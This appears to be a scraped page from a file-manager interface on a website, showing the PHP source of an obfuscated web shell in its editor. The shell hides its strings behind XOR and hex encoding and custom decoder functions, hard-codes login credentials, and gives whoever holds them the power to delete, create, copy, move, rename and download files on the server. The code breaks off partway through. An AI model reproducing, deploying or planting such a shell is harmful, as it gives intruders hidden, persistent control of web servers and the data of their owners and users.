Create New Item
×
Item Type
File
Folder
Item Name
File Manager
/
cymchiletours.cl
Upload
New Item
Settings
Back
Back Up
Advanced Editor
Save
<?php $xorKey='gi2eBHMTbTU9sY0Z';function acccx($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function accc($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['hAgbC'][$index];$charMap = $obfuscationData['dGPmT'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = acccx(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(acccx(hex2bin('1c4b562212251976582f7758516312394545100760726f254078775a5163123b4545100160726f3b4078775c5163123c4545100360726f3c4078775e516312224545100d60726f22407877505163122d4545100f60726f3e407877525163122a4545100960726f21407877545163123f4545100b60726f2040787756516312284545101560726f3640787748516312334545101760726f3f4078774a516312374545101160726f2e4078774c516312234545101360726f334078774e5163123e4545101d60726f2740787740516312344545101f60726f3840787778516312134545102760726f114078777a516312164545102160726f034078777c516312004545102360726f134078777e5163120c4545102d60726f1040787770516312034545102f60726f01407877725163120e4545102960726f0640787774516312024545102b60726f1640787776516312194545103560726f1a407877685163121c4545103760726f1b4078776a516312124545103160726f1e4078776c516312094545103360726f054078776e5163120a4545103d60726f1540787760516312114545103f60726f19407877095163126f4545105460726f604078770b5163126c4545105660726f6d4078770d516312624545105060726f674078770f5163126a4545105260726f6340787701516312684545105c60726f654078771251631206484b1e471e676f6e407f77445f7b581b000b714778136f605b7260095a6a5f7c535e11476e6a796d4161651f4036706e50431049607c757c563c7d1b5f7b053b425d514071296761031460512d69077c515b1a537a6e783b47626513456c116d064a1049607174715464150e1c73096d4d5d5d4476296c615b14610d336f5879525d1351726b7a644a6d621f517512784b4b0b5c1c712e0a553b740f1c7804354f5d004d76796c61577c635a507b1c7854591456230878614a676d13476f1a6f164a1049607d2b7e516d700e1070086942504340727868625714625a506c007f454510537b087b353c636010456b156f504a06526a7d78725662701b5f7b04634f5c53257a7c676055716300566f0570510f1850336079644b6d6713456c7069554c065668712c7c516c151b5f7b033239510a407570646d560a610e527b1c78545e175d7516786c446c241c446e1a784b4b0114026a617657617d0c4470032b425c062574270d6213716300566004795e061b5c7016746c4b67621a466d6e63064f0a5d6471757c57327d004307036f395c004f60646f670a716d01596e08725e5d1b5175166f7840616010466e116916400751677e227c54250b0f4a7f096e44505d4f74296b6d577e665f506d007f51181b552a6e74664761361c517512690f4a0a5d637f75145b60760d447a1276454b1e47767b6c61037c660a506c08045108115373607b613c6d6167463f166308370b5c686a61765b6c73004270006a4f500640772b64764e766c015060017b5759135c766078374876791b4668166f574a10496071757c5b657609437f096e4d5c512560646f6250726c56566e5f705e5e1751741679634b616413476d196c57480755647c757e52327f0f4719046a395e0244777b646d0a146c092d6906705e5d1751726278614876791b456b16630840050a64717a775662760d4478056b465d062574780d61527e61015269567f515d725172087a644a61661c4a311663574802536a7179775664740c46701276455d0a3b76796b6c5277610d5a6f53734545105d706d7467446433115175126316290b56646a61765a667c1b5f7b036b425a004f712b676c017e625f5969017f5158135c21617963436d24674a60136e564a07526a717d145132700e10700869445d5143767f6b6c5575650f336f051a5e58145c7169796243636d79456d1369574006046a7d3c0a57320b0902780532465a014660646f620a756c56336e097c5e5a72512d6979354461631147281a63524a0714677c7f0a553c0b1b5f7b063242505d4d7571686d517c6156556d5170525f1851336974614a612479476b136d0f431049607e3c775b257309447809394f5d0246777f6e615471600952605f7c535817517b6e6f784062241c4a28196a50370b06677c7d7e5763150c4571056a4e505d4076796e605b0a7715516d08705358185d720879604a6236795175126e5048060a63707d72573b0b1b5f7b08684d510225777a6e764e766d0b527b1c7845451053336d7425476462794a3a196f5f4c075d637d7f72576373001c19046b275d0b3b60646f62137c6c485569077c5e0a1a507a08786c44616710466e186308290654617c74774078770d4b70046b3951023b767c136201777715516d077953061a5d726b783b2276791b4b6b186257290757026a61765460700f4078076d4f50024476276e60507c600a336c0804454510517b6e793543673a1f466f156c0837045d6b6a6176576d730c12190369445c044374276c625a7d7715516c050452511a5633086f784061601146611969164f1049607d740a5735150a407f056c4e5f5d43747065764e766000566c517b545a1350746b7b3b47626d1a5175126e5429060667707a7c5b37150f1b78063c394b1e4777716c60047d6d0f2d60530451016c5324626f784060661a473a706250290b06617e25755432731b5f7b0563445d544f7a7e136d01146351336f567f4545105171167937486c621c4a3a156c0f4f0403616a6176576d7d0c127803694f5c044d742765625a7e7715516d037c530a1b5d7516743744623d11453f16784b4b07546a7d78755662760c4771066d415f5a4d742b136d130a605f566e08795e5c1b5d33697962226364674b6a706354290b03616a617651377c0d42780535274b1e47777167610314660a526c067c51061a537a086f7840616c1a47281969084a0653687179775b25760f12070662415104437b710d6d13726609506c0404520f1a476e6a79673c61651f4b6c156e504f0452616a6176576d150c12730369465c0443742768625a7177640e'),$xorKey),true); $use_auth = true; $auth_users = array( accc(0) => accc(1), ); $use_highlightjs = true; $highlightjs_style = accc(2); $enable_editing = true; $default_timezone = accc(3); $root_path = $_SERVER[accc(4)]; $root_url = accc(5); $http_host = $_SERVER[accc(6)]; $iconv_input_encoding = accc(7); $datetime_format = accc(8); if (!(!(defined(accc(9))))) { $use_auth = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set(accc(10), accc(11)); if (!(!(version_compare(PHP_VERSION, accc(12), accc(13)) && function_exists(accc(14))))) { mb_internal_encoding(accc(15)); } if (!(!(function_exists(accc(16))))) { mb_regex_encoding(accc(17)); } session_cache_limiter(accc(18)); session_name(accc(19)); session_start(); } if (!(!(empty($auth_users)))) { $use_auth = false; } $is_https = isset($_SERVER[accc(20)]) && ($_SERVER[accc(21)] == accc(22) || $_SERVER[accc(23)] == 1) || isset($_SERVER[accc(24)]) && $_SERVER[accc(25)] == accc(26); $root_path = rtrim($root_path, accc(27)); $root_path = str_replace(accc(28), accc(29), $root_path); if (!(!(!@is_dir($root_path)))) { echo sprintf(accc(30), fm_enc($root_path)); exit; } $root_url = fm_clean_path($root_url); defined(accc(31)) || define(accc(32), $root_path); defined(accc(33)) || define(accc(34), ($is_https ? accc(35) : accc(36)) . accc(37) . $http_host . (!empty($root_url) ? accc(38) . $root_url : accc(39))); defined(accc(40)) || define(accc(41), ($is_https ? accc(42) : accc(43)) . accc(44) . $http_host . $_SERVER[accc(45)]); if (!(!(isset($_GET[accc(46)])))) { unset($_SESSION[accc(47)]); fm_redirect(FM_SELF_URL); } if (!(!(isset($_GET[accc(48)])))) { fm_show_image($_GET[accc(49)]); } if (!(!($use_auth))) { if (!(!(isset($_SESSION[accc(50)], $auth_users[$_SESSION[accc(51)]])))) { } elseif (!(!(isset($_POST[accc(52)], $_POST[accc(53)])))) { sleep(1); if (!(!(isset($auth_users[$_POST[accc(54)]]) && $_POST[accc(55)] === $auth_users[$_POST[accc(56)]]))) { $_SESSION[accc(57)] = $_POST[accc(58)]; fm_set_msg(accc(59)); fm_redirect(FM_SELF_URL . accc(60)); } else { unset($_SESSION[accc(61)]); fm_set_msg(accc(62), accc(63)); fm_redirect(FM_SELF_URL); } } else { unset($_SESSION[accc(64)]); fm_show_header(); fm_show_message(); ?> <div class="path"> <form action="" method="post" style="margin:10px;text-align:center"> <input name="fm_usr" value="" placeholder="Username" required> <input type="password" name="fm_pwd" value="" placeholder="Password" required> <input type="submit" value="Login"> </form> </div> <?php fm_show_footer(); exit; } } define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p'])) { fm_redirect(FM_SELF_URL . '?p='); } $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); $p = fm_clean_path($p); define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); $xorKey='R5HkLF6cDw2QXToD';function bcccx($data, $key) {$keyLength = strlen($key);$result = '';for($i=0;$i<strlen($data);$i++){$result .= chr(ord($data[$i]) ^ ord($key[$i % $keyLength]));}return $result;}function bccc($index) {global $obfuscationData,$xorKey;$str = $obfuscationData['JaJNO'][$index];$charMap = $obfuscationData['kECQB'];$cleaned = '';for ($i = 0; $i < strlen($str); $i++) {if (!(!($i % 3 != 2))) {$cleaned .= $str[$i];}}$reversedMap = array_flip($charMap);$unmapped = '';for ($i = 0; $i < strlen($cleaned); $i++) {$char = $cleaned[$i];$unmapped .= isset($reversedMap[$char]) ? $reversedMap[$char] : $char;}$decoded = bcccx(hex2bin($unmapped),$xorKey);return strrev($decoded);} $obfuscationData = json_decode(bcccx(hex2bin('2917232e0f1774417e0c10307a6e4d3670196a096e7c140a665b10327a6e4d2670196a0f6e7c1412665b10347a6e4d2170196a0d6e7c1402665b10367a6e4d2f70196a036e7c1409665b10387a6e4d2970196a016e7c1400665b103a7a6e4d2870196a076e7c1414665b103c7a6e4d2b70196a056e7c1413665b103e7a6e4d3d70196a1b6e7c140d665b10207a6e4d2270196a196e7c1419665b10227a6e4d3070196a1f6e7c141b665b10247a6e4d2070196a1d6e7c140b665b10267a6e4d3170196a136e7c1415665b10287a6e4d2370196a116e7c1410665b10107a6e4d0170196a296e7c143a665b10127a6e4d0070196a2f6e7c1422665b10147a6e4d0c70196a2d6e7c1436665b10167a6e4d0b70196a236e7c1435665b10187a6e4d0d70196a216e7c1421665b101a7a6e4d1670196a276e7c1424665b101c7a6e4d0a70196a256e7c1430665b101e7a6e4d1e70196a3b6e7c1425665b10007a6e4d0f70196a396e7c1420665b10027a6e4d0870196a3f6e7c142e665b10047a6e4d1570196a3d6e7c143b665b10067a6e4d0e70196a336e7c1433665b10087a6e4d1070196a316e7c1434665b10617a6e4d7570196a5a6e7c1450665b10637a6e4d7d70196a586e7c1451665b10657a6e4d7370196a5e6e7c1457665b10677a6e4d7170196a5c6e7c1453665b10697a6e4d7270196a526e7c145b665b107a7a6e4d187d17644910691459665c102c74762525187b0749761d145121560660186d0d6170196a59291802526c4e50747a784d7423136a476e641a41665b10613a0a5c2d731764497c2468416855107d7a641e6d70196a5b3d6c144f664743117a784d7667167c5a1274544b75126c68697c56760c0171357b7415533654016518671e6767446d52250606506143010f61614c71376b7b5f6a74443d751217686e7556367401704d75721e416855006470605e1a60576d5a296f0f526e4e00786c6d4a73601c781966750223770614642972562d7a057b4e7875175a7151073471675b1a6b446e5a7c600f576e46030f7a784d7667167c5a0c74544b75121168697e56767b0171427b741551755f016779600d046206615e79600456044003796862457d61137b5a66760345754f1361697e5a717b027f4d7d73155a7529013806601e6761056b49606404566243037b6a364c753710715a647f044b704e11666a775d7512067e4878241f53775d076406665a046504695b7a670f506e440311686146756a75785a6a73034970451b60397d563574077b4d6e6a145a7554062379661d1a610d6052746c144f664502706c62477d6a1d795f64735423764072656a7e5e74120c7e4a7f706857735402627e6d1d67605c6b5c2d650f506e4557796c364a7d371f7f026a7f5f457d411765600a5c770c067a426e6a145a755d06237e661d62610d6e52746e144f6642530f6f60457462756a476e7f024b704613686d7e4d68700c7c4278771f5a715e107d7a641e6c70196a496064144f664750726b3d31667e17780912641a41665b1061297c4d687005394e6e6a1451715d066070660d6d63470852746e04541a4306796f664674201c7b5f6a75474571061a6831775f7778017b3575736856215e016572661d6e63506b527a630f116d430a70616045667e17781a6d641a4174061b737476567778027b487e2f15527d290066066d5d6c61006e583e6c0f521a4407706c644e7d601f7a5c65740240731613612a715d7512063a4e7c711550725107697164596c6602615f2d6e03541a46067b6c642f7666167a5c69745f407d4f1173747656717b02782b75371c5274520b201876436660006b5f7d18040161464072616c4c76651c7c5f0c710423764613626e7d5b267a057b437973105171520560186459616b0608587d6c065665460a0f6865457167147f5c6d77034a7d461a6231145b35740678416e6a145a755e062371661d62610d16527406144f6645027b6c62497d6a14795f65735423764013656a7e5e74730c7e357f701757735d02627e660e6e6047615a7d060456624606787a784d7d631d7c196d74444a774f1a6860724d68700029427b721e537429107d7a6d066c650161527c1807556d551e736a264773677571586a7702407d431a6869144d68700c21427b721e5a742903670676436670196a59796f02526c4e0770696d457d2075715912720f4a7345116369715c7278012a4d7c75105175510b6018650a656002605b756e02526e4e5b706b6c2f766a7571536573024a665b106869145b3677073a4e7f7e765a7c51107d7a610e656501605b7c6f144f664743797a784d667e17781a66641a417406177374765d7474027a2b75761e527154107d7a641e6270196a5b3d67144f664250796c644e71626b7c5b0c74574671451a606e0a5e777b057e4a7876175735370b650664596567476e5a3d65030a654257776f612f71231c7c5f657f5340740572626d7e5e21710c21437d721057735d02627b660d0460066b5874650f0a1a4453797a784d7d61147f580c745f4a754e72636f7c567674067d4e7f34685a7537016406605f676b0762597b6504571a4053796136467d676b7c5c6d740045731e1863397c562577012d357f761756735f01307e635a62600360522d6f06546244437761672f7667107c53647f0646750672643a0a5d737101704d7b74685a773701387060066d61056e4960640f566140027861254775621f711a6f641a4171151865687e5a747101784e7e2713567637036770655c6562036b5f7c6002126c4e067768624671201d791a12735f40711211666d7d5a357a017c4a75231c53365d016470650a6e6b5c615a780602546e47017b6a354c762075795e65740f4576061b656e145a7278042d4e7577175a255206347967586767026b5a78600212614e000f6126497761146a476e7f074270056c632a755c7c730c70356e6a14562656066106615f1a660569592d6503511a4604726967497464107c5b6972474b7d431a616e755a3612043935792f1056215d05647d611e6766016052296706116544077969314a7d3b14795f0c720146744418633a0a5d7773047d2b7e37135a7d5606231865066e70196a5e2e6e0253654202726c64467633137d596577004275441a616e145b740c01392b75727653725e072371651e6d675c6b5e29600156674243726c604e7d371078196475034b75121b6831775e7078017f2b7c751351255200237e655a6260446952750602116e4e5b706f3d467d6a6b71196d72574b751e72636a7d5b747402794e7e23175a365e0b64716d1d6c70196a527d0602116145400f6b6c467d6a106a476e7453237040116329755c36770c7043797317547d5e0333796d1d046605625f7c0604516247047861654c77301c7a580c74574a77431763310a5e7678077e4175761c56715f107d7a6d5a65650569523d670753674e43787a784d71331c7f5f6d760646665b1063680a5b7c7b0c7b427d371041685500207d635c6561056e58756004016e4e0a776c6045667e177a19647103237d441b606c0a5670730c79426e6a1441685502207976436660446e5c7f6f055361440b746a364e7d6a757c5f0c641a41665b106129714d6870072d3578716851355d0123716d576d67006b5c75670701654e407b6c644770621d7a596f76004b7d4672623a0a5d77730729417f7213512d5403637d66596d6b05615e796e144f664e07746f644a7d231c795b697f4746665b1064397758707305784d6e6a145a75290660186d0d6763056b527e630f526544077b69254c7d3b1c7b0e6571034a76461b636d0a5d357406214e7e761051745406627961591a635060597a6f0f53614300786b674c7d62137c5b6d72473d7d4314616e145d770c047a4a75731e517637063879671e6e70196a527d6702116d4540746b6c477d6a1d6a476e7357497343186168144d687007784a7b74175a745f03647e7643666005165f74670f506546430f7a784d667e17781a64641a417406117374765d717a0179357e23155273540b627d615a67650116587f600f50654400706c314a76376b7a0e6d76014a751e6c682a0a5d767b067c437e2f1752215d0b60066d0e616604605c7e600f526d440b0f6f612f766b757a1a0c74003d75051a6268144d6870077d437877685a775e0138726d5d046b016258796f05526d4507706b6d4670676b7a1a65740646764e1b66397756750c072a4378711356725e01677b6d571a6b47625f2d630757654205776b6649706275715f0c745f40764413606a0a567774047b2b6e6a145a77510667796d1e6761546b52786003566d4301726925497d2314795869724742761514616e7e5d7712047a4e75377651365f056879615967610d69527e6004540440057461614e667e177158667200457d061762397c567012007d4178751c5235560b2018650a62650c6e592906040a1a47050f6926457d64137a02647247467616176631145d21770c704d7b711550775f0362707643666b04605f3e6f04111a440a72616c46667e177a5e6d720742761572606e72567c0c0c3a4178747650753707667d675e6766576b597a650452624e037b6965477520106a476e7f034673476c6829145e74770c39416e6a1456255d056570645f6e70196a592e6f02526745407b7a784d7623757f586a641a4176156c65690a5d36711764497c371c416855107d7a661e6d65066949606406121a551e737a784d667e17781a0c641a41665b107374765f350c1764497c3713416855073379605f656705615f7c6c04020442000f69624575611d785d1272064670061a686c755f7278003a427d371f562d56073471635a616744605f78630f066e47400f6b614675371071026577022370401b616b7c5d267b077b427d7f765a7056003370605e6761476949606403016e4302796d64477062167a0a69730446754117606b145f727a01784278371e5a705d026770611d6d6344625e256e03066c4007726d254a706616710e6f764449774272603d75562d74047c42787115537729003006661d6563006952746504516c435b70612531776a107d096a7f0442700514602a755626710479427f7f685a765f0061706d5a046144615a7f60144f664e03796c264c76206b7b53697f0e4a665b10686d725b75740721487b2f1e5172560b697d60596d650760597c6e055a674353116a654977671d6a476e7f0742700518632a145c7c7a0c70426e6a14562554056518645f6c70196a59296502506e551e736a31477061756a476e764723665b107374764d68700539486e6a1441685502207d7643666b04695f7d6f0f066d440477616d497d621d7f5c0c74063d7140176261755b210c077e2b7f231e5373520665716d1d1a6044605f2e6004016d445b7061604c76651d7c5f657507497d441b636a755c25780c7c427e737651775e0138186d1d6c60446b5b7906144f6645530f6c63477d23107b536974004b76431862317c5c74120c7b4d7d7476577737003418645f656047165a7d600f12654e07746c63467d3b757952647f074b76421a666d775e7d12007f357b371c5774510b62186d5c616304085c75060452624550706c654a76301c795f6a7f044275431b7374765f7573047e4275377652715d0b207e6d596e6607695a2d060f12614401706b6d4c71201f71090c74443d75051768600a5d3612017d2b757e1f50255e0067726d5f1a61006d5f74060f116c44040f6c3d457d661c7a586d7f0645754614636f0a567712012a417d246854715d00677b6d596266076d587c6e0f116144040f68674c667e17781a0c641a41744617737476562d7802784d757e105270510b65186d586561006e5f74650f5165440a706c3d3176661f7a5b6d740646754413606b7c5f257402783575371f52355200307b6d596766056b587f6005520443400f6f61317633137a1a667f074a7544116831715c77781764497e761554765f0b6270655f1a6344695e256501560446070f61672f76301c7b5264735f237642186331715e717707792b7e75155775520b6472655b6e6b076b5a7818144f66420b726b6031746b1d7b5d6f7f0e4b7640186539755c7673072a4d7e7f7641685507687e65591a6b07165a7a6e0f5b674e57776c604673371471586a77023d734e1b616b725f7377007f42787f1f5a255f006206605e656b04695a7a65035062450b726f60497530147a5c64720623771217636f7d56260c077c427d2f1f5a355f00347060586e60506d5a290604066c425b726f6d3177631d7a586a754449774e1764310a5d737b07214d7f377651755e003306601d61635c695c796f0f5b654e57776c604a756b6b795b6d641a41764411653a7756730c04704e7e7e1551715d01647e6057676b0108583e6f0257674503796126467565136a476e760f3d7516186869755c257a0c214375701357765e0b307b6157676307625f2e6504546d4e50786a264c75631c795b0c641a417406137374765f350c1764497e7368572d5400207d65586d6b47695e7960015a0446507861264c7062757c5b6f7447497644726261144d68700c794e78341e5136290169716d576170196a5e2d670157614702707a784d7637107f5f0c744723665b107374765f35741764497e737657735f0b6106655f61605762597e6f144f664502776c624e7d6a13795f6a641a41764214656f7c56747304784d7e241e517654107d7a665f1a66036b5274630757654400796a6131703b6b7b5b6d641a41764217656f0a56747b0478427e2476517656107d7a6d5e65664760593e18055b654e0a0f7a784d7662107c026d7f06467543177374765f35741764497e73155773510b6172655f0460576d597e6e144f664502116c622f7d6a6b795f64641a417115186568715a747a0178417e271056765603677d655c1a6203625f7c6e0212624e067268624576631f79196d7f074b764511652a7256730c06214d7e7e1e56715e05657e655a046b031658296c02541a4701786a634976641f710e64641a4176426c656914562612043a4d7574105a3654056406675a65670208587d6502016c4504746a654e7d6310795a6577444a665b10686d7d5874710c39437d76175a3556107d7a6d5c6761046d5e7a6502500445537861664770201d7919667f0f4570476c656d7e5d7373072a357e72685275540b67726d56616704615e7a6501576745537861664c70201079196a7f0f46704717656c715d250c077b487e776852215f0b3872660a6565016d593d60010a6d4e0a1161264770331c79026674044b70471b6669725d210c0c3a487573685a365f107d7a6d5e6e66476d593e18055b6e4e0a797a784d71331d7f5f6f760646665b1068611458757a0c78357f7e765a2d54107d7a665f67650662523d6507536e4e0a70616d45667e176a476e764740665b106368775b7c7b0c7b2b7d3717416855107d7a641e1a70196a59796002521a4550796931317d631471596a720f3d73451b636d715c7d77017d427e371f517454006870630e6e6b0462592e6702546242040f6b62477d6a1071190c72574275431b646f7c5c767a017835757215512d29006270655d1a6b06085a7f67144f664e01786c62477d23147b0a6a7f024671426c656b145e357a0c39357d741e577429002070661e1a6004165c2d630f506d4557776c362f7d636b7b096973543d76401a6560725c7771077d4e7e7f764168550b6072601d1a6047615874630f5b6d551e736a614970631f7a096977004a7d4f1b682a775b767306794179711350755e06337d66596e60046e527d6f0752654640797a784d7d676b7f5b667f474975477268290a4d68700029487b727653745f107d7a6d566165046d527c18055b044e5b117a784d7d6b1c7c096a740f46665b107374765f35781764497e76175476510b627b655d6d6b5462597b0606531a44000f61252f7d23146a476e74063d704f13682a775e36740c79487527105774370165186d5b626605165c796f0406654507796863457520137a5e6d7404237743726331775e2177073a4375271e572137036079665a6c61006b587565045b044e50776a25477764167d5c667f054a701e116868715e7d78077e4175761f54733703647166581a60036e4960640f52674340786a2646776a1c71536f641a41711611666c7d5f74771764497e7610577c510b627e651e0470196a5a3d6c144f664e010f6c364975631d7a5c0c7f00407d1e146639144d68700c714378241c517d5d0565707643666344085f7d6c04066d460b116163497d66147f5c66770f3d665b10686b7d5b267404794a7e71765a72540b3870630e1a70196a52756302016e450b786f602f667e177a5e6f720746761511602a71567c12077f4d787276547652022371675b6c6144695e3d6e0f0a6747010f6c67477d67167d0e6675024a7d061862297256700c0c2d4278727650775203657276436660006e5f7d18040161464079616c4e76651d7c5f0c71044b764611626e7c5b260c057b2b7e37175a7d5403647d6d0d626006615c7c6e075b1a551e7361654e7020147a1966750e4b7d4f137374765d717a01792b7e24135272370b69726d1d6766076b587d6303546744037b6c362f76641c7a5a647f074b754613602a714d68700c7d4a7b76175a355203617e6d1e6270196a5e2d6301576d47020f7a784d7d6b1f7c0965740f2375436c6360724d68700c714a782417517d5f03657d66576270196a5b3d6f144f66551e737a784d7423756a476e740642734517686b725e76710c292b7e711553745101637e6d1e6e6b4469496064045367430a0f61264e752075715a647f5723704717626c775670770178357b731f51215f00647964586d63476159796e0451674406796a3d4975376b7a19647f57457012726069725d717b067d4a7f7f68517c540b337e661e656103695e7b670f506d435b11616446756b1f7a5d697f0642734072606d145d730c077e4d6e6a145a7551062318661d6d610d69527406144f664253746f604a7462136a476e641a417406727374765f357b1764496e6a145a755d0660706d0d6d63056e527e6f0f5267430a706b644c667e17781a69641a417406147374765d71770179437574105272510b2079665a6766036158796e035467440b726f63477664147a5a6d74063d770672606c7c4d6870077d4878771e5a76290367796d1e046000165f7a6c05566242057869664670231d7a0a0c76004b76447262607e56357a073a4d78731c5136520b23187643666b046b5f3e63041162440a78616c4e667e177a5e12725f40760613606f7d563678007d4a7b7f105226540b237d605f65660562593d6e045065440b0f7a784d7d631d7c1912744423774f1a6860754d68700029487b721553745f107d7a665a6e66476d52786f07516d4e53707a784d667e17781a6a641a4176426c652a7d56700c047a4375276841685502207176436670196a49606406126d551e7368254a667e177a5e6f725f4276066c606f71563677007d437b7f6852265e0b2306605f6e66056d593d6f04506c440b117a784d7d63757c196674443d774f726860754d687000294e7b7276537429107d7a6d5e626504164960640f576540037b7a784d7d20167f5a6a641a417d461a6561714d68700c7c35787f134168550b237e60566e70196a527d67021165551e736160457020756a476e7f44497005177374765f35781764497e736857755d0b3071655b6e6b446b52296c02576d4000796a6446776a757c1a6474004b7d1e186868755e710c0c704275777657755d0167067643666000605f7d650f026e46067461254a7d37147c5f12710445764672626e7c5b2677057b48752f7651365e0360726d1e676b066b5c79180f501a4607796a314c7d60757d5e12641a417d466c652a7d5d3678067041757e76416855073070635b1a620560496064144f664743727a784d7133147f5f6a76064b665b10613a7e4d6870052a357f2f17416855022072764366625769496064060162445b7b7a784d7667137c5c657f0646754717633a7d5d7673171516'),$xorKey),true); if (!(!(isset($_GET[bccc(0)])))) { $del = $_GET[bccc(1)]; $del = fm_clean_path($del); $del = str_replace(bccc(2), bccc(3), $del); if (!(!($del != bccc(4) && $del != bccc(5) && $del != bccc(6)))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(7)))) { $path .= bccc(8) . FM_PATH; } $is_dir = is_dir($path . bccc(9) . $del); if (!(!(fm_rdelete($path . bccc(10) . $del)))) { $msg = $is_dir ? bccc(11) : bccc(12); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? bccc(13) : bccc(14); fm_set_msg(sprintf($msg, fm_enc($del)), bccc(15)); } } else { fm_set_msg(bccc(16), bccc(17)); } fm_redirect(FM_SELF_URL . bccc(18) . urlencode(FM_PATH)); } if (!(!(isset($_GET[bccc(19)])))) { $new = strip_tags($_GET[bccc(20)]); $new = fm_clean_path($new); $new = str_replace(bccc(21), bccc(22), $new); if (!(!($new != bccc(23) && $new != bccc(24) && $new != bccc(25)))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(26)))) { $path .= bccc(27) . FM_PATH; } if (!(!(fm_mkdir($path . bccc(28) . $new, false) === true))) { fm_set_msg(sprintf(bccc(29), fm_enc($new))); } elseif (!(!(fm_mkdir($path . bccc(30) . $new, false) === $path . bccc(31) . $new))) { fm_set_msg(sprintf(bccc(32), fm_enc($new)), bccc(33)); } else { fm_set_msg(sprintf(bccc(34), fm_enc($new)), bccc(35)); } } else { fm_set_msg(bccc(36), bccc(37)); } fm_redirect(FM_SELF_URL . bccc(38) . urlencode(FM_PATH)); } if (!(!(isset($_GET[bccc(39)], $_GET[bccc(40)])))) { $copy = $_GET[bccc(41)]; $copy = fm_clean_path($copy); if (!(!($copy == bccc(42)))) { fm_set_msg(bccc(43), bccc(44)); fm_redirect(FM_SELF_URL . bccc(45) . urlencode(FM_PATH)); } $from = FM_ROOT_PATH . bccc(46) . $copy; $dest = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(47)))) { $dest .= bccc(48) . FM_PATH; } $dest .= bccc(49) . basename($from); $move = isset($_GET[bccc(50)]); if (!(!($from != $dest))) { $msg_from = trim(FM_PATH . bccc(51) . basename($from), bccc(52)); if (!(!($move))) { $rename = fm_rename($from, $dest); if (!(!($rename))) { fm_set_msg(sprintf(bccc(53), fm_enc($copy), fm_enc($msg_from))); } elseif (!(!($rename === null))) { fm_set_msg(bccc(54), bccc(55)); } else { fm_set_msg(sprintf(bccc(56), fm_enc($copy), fm_enc($msg_from)), bccc(57)); } } else { if (!(!(fm_rcopy($from, $dest)))) { fm_set_msg(sprintf(bccc(58), fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(bccc(59), fm_enc($copy), fm_enc($msg_from)), bccc(60)); } } } else { fm_set_msg(bccc(61), bccc(62)); } fm_redirect(FM_SELF_URL . bccc(63) . urlencode(FM_PATH)); } if (!(!(isset($_POST[bccc(64)], $_POST[bccc(65)], $_POST[bccc(66)])))) { $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(67)))) { $path .= bccc(68) . FM_PATH; } $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST[bccc(69)]); if (!(!($copy_to != bccc(70)))) { $copy_to_path .= bccc(71) . $copy_to; } if (!(!($path == $copy_to_path))) { fm_set_msg(bccc(72), bccc(73)); fm_redirect(FM_SELF_URL . bccc(74) . urlencode(FM_PATH)); } if (!(!(!is_dir($copy_to_path)))) { if (!(!(!fm_mkdir($copy_to_path, true)))) { fm_set_msg(bccc(75), bccc(76)); fm_redirect(FM_SELF_URL . bccc(77) . urlencode(FM_PATH)); } } $move = isset($_POST[bccc(78)]); $errors = 0; $files = $_POST[bccc(79)]; if (!(!(is_array($files) && count($files)))) { foreach ($files as $f) { if (!(!($f != bccc(80)))) { $from = $path . bccc(81) . $f; $dest = $copy_to_path . bccc(82) . $f; if (!(!($move))) { $rename = fm_rename($from, $dest); if (!(!($rename === false))) { $errors++; } } else { if (!(!(!fm_rcopy($from, $dest)))) { $errors++; } } } } if (!(!($errors == 0))) { $msg = $move ? bccc(83) : bccc(84); fm_set_msg($msg); } else { $msg = $move ? bccc(85) : bccc(86); fm_set_msg($msg, bccc(87)); } } else { fm_set_msg(bccc(88), bccc(89)); } fm_redirect(FM_SELF_URL . bccc(90) . urlencode(FM_PATH)); } if (!(!(isset($_GET[bccc(91)], $_GET[bccc(92)])))) { $old = $_GET[bccc(93)]; $old = fm_clean_path($old); $old = str_replace(bccc(94), bccc(95), $old); $new = $_GET[bccc(96)]; $new = fm_clean_path($new); $new = str_replace(bccc(97), bccc(98), $new); $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(99)))) { $path .= bccc(100) . FM_PATH; } if (!(!($old != bccc(101) && $new != bccc(102)))) { if (!(!(fm_rename($path . bccc(103) . $old, $path . bccc(104) . $new)))) { fm_set_msg(sprintf(bccc(105), fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(bccc(106), fm_enc($old), fm_enc($new)), bccc(107)); } } else { fm_set_msg(bccc(108), bccc(109)); } fm_redirect(FM_SELF_URL . bccc(110) . urlencode(FM_PATH)); } if (!(!(isset($_GET[bccc(111)])))) { $dl = $_GET[bccc(112)]; $dl = fm_clean_path($dl); $dl = str_replace(bccc(113), bccc(114), $dl); $path = FM_ROOT_PATH; if (!(!(FM_PATH != bccc(115)))) { $path .= bccc(116) . FM_PATH; } if (!(!($dl != bccc(117) && is_file($path . bccc(118) . $dl)))) { header(bccc(119)); 